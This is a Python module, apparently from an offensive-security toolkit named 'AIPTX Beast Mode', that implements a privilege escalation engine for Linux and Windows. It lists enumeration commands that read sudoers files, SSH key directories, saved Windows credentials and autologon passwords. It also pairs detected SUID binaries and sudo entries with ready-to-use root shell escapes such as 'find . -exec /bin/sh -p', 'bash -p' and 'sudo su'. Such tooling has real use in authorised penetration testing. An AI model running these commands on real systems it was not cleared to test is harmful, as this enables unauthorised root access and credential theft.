"""
AIPTX Beast Mode - Privilege Escalation Engine
==============================================

Orchestrate privilege escalation detection and exploitation.
"""

from __future__ import annotations

import logging
from dataclasses import dataclass, field
from enum import Enum
from typing import Any, Optional

logger = logging.getLogger(__name__)


class PrivescCategory(str, Enum):
    """Categories of privilege escalation vectors."""
    SUID = "suid"
    SUDO = "sudo"
    CAPABILITIES = "capabilities"
    CRON = "cron"
    PATH = "path"
    WRITABLE = "writable"
    KERNEL = "kernel"
    SERVICE = "service"
    CONTAINER = "container"
    CREDENTIALS = "credentials"
    MISCONFIG = "misconfiguration"


class PrivescRisk(str, Enum):
    """Risk levels for privesc attempts."""
    LOW = "low"  # Safe, unlikely to crash
    MEDIUM = "medium"  # Some risk
    HIGH = "high"  # May cause issues
    CRITICAL = "critical"  # Kernel exploits, may crash


@dataclass
class PrivescVector:
    """A detected privilege escalation vector."""
    name: str
    category: PrivescCategory
    description: str
    risk: PrivescRisk
    check_command: str
    exploit_command: str | None = None
    success_indicator: str | None = None
    prerequisites: list[str] = field(default_factory=list)
    cve: str | None = None
    gtfobins_url: str | None = None
    notes: str = ""
    confidence: float = 0.5

    def to_dict(self) -> dict[str, Any]:
        """Convert to dictionary."""
        return {
            "name": self.name,
            "category": self.category.value,
            "description": self.description,
            "risk": self.risk.value,
            "check_command": self.check_command,
            "exploit_command": self.exploit_command,
            "success_indicator": self.success_indicator,
            "prerequisites": self.prerequisites,
            "cve": self.cve,
            "gtfobins_url": self.gtfobins_url,
            "notes": self.notes,
            "confidence": self.confidence,
        }


@dataclass
class PrivescResult:
    """Result of privilege escalation check/attempt."""
    success: bool
    vector: PrivescVector
    output: str = ""
    new_privileges: str | None = None
    error: str | None = None

    def to_dict(self) -> dict[str, Any]:
        """Convert to dictionary."""
        return {
            "success": self.success,
            "vector": self.vector.to_dict(),
            "output": self.output,
            "new_privileges": self.new_privileges,
            "error": self.error,
        }


class PrivescEngine:
    """
    Privilege escalation detection and exploitation engine.

    Orchestrates privesc checks and provides exploitation commands.
    """

    def __init__(self, os_type: str = "linux"):
        """
        Initialize the privesc engine.

        Args:
            os_type: Target OS (linux, windows)
        """
        self.os_type = os_type.lower()
        self._detected_vectors: list[PrivescVector] = []

    def get_enumeration_commands(self) -> list[dict[str, str]]:
        """
        Get commands to enumerate privesc vectors.

        Returns:
            List of command dicts
        """
        if self.os_type == "linux":
            return self._get_linux_enum_commands()
        elif self.os_type == "windows":
            return self._get_windows_enum_commands()
        return []

    def _get_linux_enum_commands(self) -> list[dict[str, str]]:
        """Get Linux enumeration commands."""
        return [
            # System info
            {
                "name": "kernel_version",
                "command": "uname -a && cat /etc/*release 2>/dev/null | head -5",
                "description": "Get kernel and OS version",
            },
            {
                "name": "current_user",
                "command": "id && whoami && groups",
                "description": "Get current user info",
            },

            # SUID/SGID
            {
                "name": "suid_binaries",
                "command": "find / -perm -4000 -type f 2>/dev/null | head -50",
                "description": "Find SUID binaries",
            },
            {
                "name": "sgid_binaries",
                "command": "find / -perm -2000 -type f 2>/dev/null | head -50",
                "description": "Find SGID binaries",
            },

            # Sudo
            {
                "name": "sudo_permissions",
                "command": "sudo -l 2>/dev/null",
                "description": "List sudo permissions",
            },
            {
                "name": "sudoers_file",
                "command": "cat /etc/sudoers 2>/dev/null; cat /etc/sudoers.d/* 2>/dev/null",
                "description": "Read sudoers configuration",
            },

            # Capabilities
            {
                "name": "capabilities",
                "command": "getcap -r / 2>/dev/null | head -30",
                "description": "Find binaries with capabilities",
            },

            # Cron
            {
                "name": "cron_jobs",
                "command": "cat /etc/crontab 2>/dev/null; ls -la /etc/cron.* 2>/dev/null; cat /var/spool/cron/crontabs/* 2>/dev/null",
                "description": "List cron jobs",
            },
            {
                "name": "cron_writable",
                "command": "find /etc/cron* -writable 2>/dev/null",
                "description": "Find writable cron files",
            },

            # PATH
            {
                "name": "path_writable",
                "command": "for p in $(echo $PATH | tr ':' ' '); do [ -w \"$p\" ] && echo \"WRITABLE: $p\"; done",
                "description": "Check for writable PATH directories",
            },

            # Services
            {
                "name": "writable_services",
                "command": "find /etc/init.d /etc/systemd -writable 2>/dev/null",
                "description": "Find writable service files",
            },

            # Processes
            {
                "name": "root_processes",
                "command": "ps aux | grep -E '^root' | head -20",
                "description": "List processes running as root",
            },

            # Docker/Container
            {
                "name": "docker_check",
                "command": "id | grep -i docker; ls -la /var/run/docker.sock 2>/dev/null; cat /.dockerenv 2>/dev/null",
                "description": "Check Docker access",
            },

            # Writable sensitive files
            {
                "name": "writable_passwd",
                "command": "ls -la /etc/passwd /etc/shadow 2>/dev/null; [ -w /etc/passwd ] && echo 'WRITABLE: /etc/passwd'",
                "description": "Check if passwd/shadow are writable",
            },

            # SSH keys
            {
                "name": "ssh_keys",
                "command": "ls -la /root/.ssh 2>/dev/null; ls -la /home/*/.ssh 2>/dev/null",
                "description": "Check for SSH keys",
            },

            # NFS
            {
                "name": "nfs_exports",
                "command": "cat /etc/exports 2>/dev/null; showmount -e localhost 2>/dev/null",
                "description": "Check NFS exports",
            },
        ]

    def _get_windows_enum_commands(self) -> list[dict[str, str]]:
        """Get Windows enumeration commands."""
        return [
            # System info
            {
                "name": "system_info",
                "command": "systeminfo | findstr /B /C:\"OS\" /C:\"Hotfix\"",
                "description": "Get OS and hotfix info",
            },
            {
                "name": "current_user",
                "command": "whoami /all",
                "description": "Get current user info and privileges",
            },

            # Privileges
            {
                "name": "token_privileges",
                "command": "whoami /priv",
                "description": "List token privileges",
            },

            # Services
            {
                "name": "vulnerable_services",
                "command": "wmic service get name,displayname,pathname,startmode | findstr /i \"auto\" | findstr /i /v \"c:\\windows\"",
                "description": "Find potentially vulnerable services",
            },
            {
                "name": "unquoted_paths",
                "command": "wmic service get name,pathname | findstr /i /v \"c:\\windows\" | findstr /i \" \"",
                "description": "Find unquoted service paths",
            },

            # Scheduled tasks
            {
                "name": "scheduled_tasks",
                "command": "schtasks /query /fo LIST /v | findstr /i \"taskname run\"",
                "description": "List scheduled tasks",
            },

            # AlwaysInstallElevated
            {
                "name": "always_elevated",
                "command": "reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul & reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul",
                "description": "Check AlwaysInstallElevated",
            },

            # Saved credentials
            {
                "name": "saved_creds",
                "command": "cmdkey /list",
                "description": "List saved credentials",
            },

            # Autologon
            {
                "name": "autologon",
                "command": "reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" 2>nul | findstr /i \"DefaultUserName DefaultPassword\"",
                "description": "Check for autologon credentials",
            },

            # Writable paths
            {
                "name": "writable_paths",
                "command": "for %p in (\"%PATH:;=\"\",\"%\") do @(icacls \"%~p\" 2>nul | findstr /i \"(F) (M) (W)\" && echo WRITABLE: %~p)",
                "description": "Check for writable PATH directories",
            },
        ]

    def parse_suid_output(self, output: str) -> list[PrivescVector]:
        """Parse SUID binary output and identify exploitable ones."""
        vectors = []

        # Known exploitable SUID binaries (GTFOBins)
        exploitable_suids = {
            "nmap": {
                "exploit": "nmap --interactive\n!sh",
                "description": "Nmap interactive mode shell escape",
                "gtfobins": "https://gtfobins.github.io/gtfobins/nmap/",
            },
            "vim": {
                "exploit": "vim -c ':!/bin/sh'",
                "description": "Vim shell escape",
                "gtfobins": "https://gtfobins.github.io/gtfobins/vim/",
            },
            "find": {
                "exploit": "find . -exec /bin/sh -p \\; -quit",
                "description": "Find command execution",
                "gtfobins": "https://gtfobins.github.io/gtfobins/find/",
            },
            "python": {
                "exploit": "python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'",
                "description": "Python shell spawn",
                "gtfobins": "https://gtfobins.github.io/gtfobins/python/",
            },
            "python3": {
                "exploit": "python3 -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'",
                "description": "Python3 shell spawn",
                "gtfobins": "https://gtfobins.github.io/gtfobins/python/",
            },
            "perl": {
                "exploit": "perl -e 'exec \"/bin/sh\";'",
                "description": "Perl shell spawn",
                "gtfobins": "https://gtfobins.github.io/gtfobins/perl/",
            },
            "awk": {
                "exploit": "awk 'BEGIN {system(\"/bin/sh\")}'",
                "description": "Awk shell spawn",
                "gtfobins": "https://gtfobins.github.io/gtfobins/awk/",
            },
            "less": {
                "exploit": "less /etc/passwd\n!/bin/sh",
                "description": "Less shell escape",
                "gtfobins": "https://gtfobins.github.io/gtfobins/less/",
            },
            "more": {
                "exploit": "more /etc/passwd\n!/bin/sh",
                "description": "More shell escape",
                "gtfobins": "https://gtfobins.github.io/gtfobins/more/",
            },
            "cp": {
                "exploit": "cp /bin/sh /tmp/sh; /tmp/sh -p",
                "description": "Copy shell and run with SUID",
                "gtfobins": "https://gtfobins.github.io/gtfobins/cp/",
            },
            "bash": {
                "exploit": "bash -p",
                "description": "Bash with preserved privileges",
                "gtfobins": "https://gtfobins.github.io/gtfobins/bash/",
            },
            "env": {
                "exploit": "env /bin/sh -p",
                "description": "Env shell spawn",
                "gtfobins": "https://gtfobins.github.io/gtfobins/env/",
            },
        }

        for line in output.strip().split("\n"):
            path = line.strip()
            if not path:
                continue

            binary_name = path.split("/")[-1]

            if binary_name in exploitable_suids:
                info = exploitable_suids[binary_name]
                vector = PrivescVector(
                    name=f"suid_{binary_name}",
                    category=PrivescCategory.SUID,
                    description=info["description"],
                    risk=PrivescRisk.LOW,
                    check_command=f"ls -la {path}",
                    exploit_command=info["exploit"],
                    success_indicator="# " if binary_name != "cp" else None,
                    gtfobins_url=info.get("gtfobins"),
                    confidence=0.9,
                )
                vectors.append(vector)

        self._detected_vectors.extend(vectors)
        return vectors

    def parse_sudo_output(self, output: str) -> list[PrivescVector]:
        """Parse sudo -l output and identify exploitable entries."""
        vectors = []

        # Patterns that indicate exploitable sudo
        exploitable_patterns = {
            "(ALL) NOPASSWD: ALL": {
                "exploit": "sudo su",
                "description": "Passwordless sudo to any command",
                "risk": PrivescRisk.LOW,
            },
            "NOPASSWD": {
                "description": "Passwordless sudo available",
                "risk": PrivescRisk.LOW,
            },
            "env_keep": {
                "description": "Environment variables preserved (potential LD_PRELOAD)",
                "risk": PrivescRisk.MEDIUM,
            },
        }

        for pattern, info in exploitable_patterns.items():
            if pattern in output:
                vector = PrivescVector(
                    name=f"sudo_{pattern.replace(' ', '_').lower()[:20]}",
                    category=PrivescCategory.SUDO,
                    description=info["description"],
                    risk=info.get("risk", PrivescRisk.MEDIUM),
                    check_command="sudo -l",
                    exploit_command=info.get("exploit"),
                    confidence=0.8,
                )
                vectors.append(vector)

        self._detected_vectors.extend(vectors)
        return vectors

    def get_detected_vectors(self) -> list[PrivescVector]:
        """Get all detected privesc vectors."""
        return self._detected_vectors.copy()

    def get_vectors_by_risk(self, max_risk: PrivescRisk = PrivescRisk.MEDIUM) -> list[PrivescVector]:
        """Get vectors filtered by maximum risk level."""
        risk_order = [PrivescRisk.LOW, PrivescRisk.MEDIUM, PrivescRisk.HIGH, PrivescRisk.CRITICAL]
        max_idx = risk_order.index(max_risk)

        return [
            v for v in self._detected_vectors
            if risk_order.index(v.risk) <= max_idx
        ]

    def clear(self):
        """Clear detected vectors."""
        self._detected_vectors = []


def check_privesc_vectors(os_type: str = "linux") -> list[dict[str, str]]:
    """Convenience function to get privesc enumeration commands."""
    engine = PrivescEngine(os_type)
    return engine.get_enumeration_commands()


__all__ = [
    "PrivescCategory",
    "PrivescRisk",
    "PrivescVector",
    "PrivescResult",
    "PrivescEngine",
    "check_privesc_vectors",
]
